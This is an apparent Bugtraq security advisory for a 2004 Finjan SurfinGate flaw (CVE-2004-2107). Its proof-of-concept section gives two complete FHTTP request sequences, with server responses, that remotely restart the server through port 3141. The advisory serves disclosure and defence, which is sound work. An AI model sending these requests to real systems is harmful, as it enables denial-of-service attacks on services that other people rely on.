Finjan SurfinGate FHTTP Restart Command Execution Vulnerability

BID:9478

Info

Finjan SurfinGate FHTTP Restart Command Execution Vulnerability

Bugtraq ID: 9478
Class: Access Validation Error
CVE: CVE-2004-2107
Remote: Yes
Local: No
Published: Jan 23 2004 12:00AM
Updated: Jul 12 2009 02:06AM
Credit: Discovery of this issue is credited to David Byrne.
Vulnerable: Finjan Software SurfinGate 7.0
Finjan Software SurfinGate 6.0 5
Finjan Software SurfinGate 6.0 1
Finjan Software SurfinGate 6.0
Not Vulnerable:

Discussion

Finjan SurfinGate FHTTP Restart Command Execution Vulnerability

Finjan SurfinGate is prone to a vulnerability that may permit remote attackers to execute certain management commands (using the FHTTP protocol) through the management control port (3141/TCP). It has been reported that commands could be issued to restart the server, most likely resulting in a denial of service.

Exploit / POC

Finjan SurfinGate FHTTP Restart Command Execution Vulnerability

The following example requests were provided:

Example 1:
>>> CONNECT LOCALHOST:3141 HTTP/1.0
>>>

<<< HTTP/1.0 200 Connection established
<<< Proxy-agent: Finjan-SurfinGate/6.0
<<<

>>> FINJAN /stam HTTP/1.0
>>> finjan-version: fhttp/1.0
>>> finjan-command: custom
>>> finjan-parameter-category: console
>>> finjan-parameter-type: restart
>>> content-length: 0
>>>

<<< HTTP/1.0 200 OK
<<< finjan-version: fhttp/1.0
<<<
<<<


Example 2:
>>> FINJAN localhost:3141/stam HTTP/1.0
>>> finjan-version: fhttp/1.0
>>> finjan-command: custom
>>> finjan-parameter-category: console
>>> finjan-parameter-type: restart
>>> content-length: 0
>>>

<<< HTTP/1.0 200 OK
<<< finjan-version: fhttp/1.0
<<<
<<<

Solution / Fix

Finjan SurfinGate FHTTP Restart Command Execution Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Finjan SurfinGate FHTTP Restart Command Execution Vulnerability

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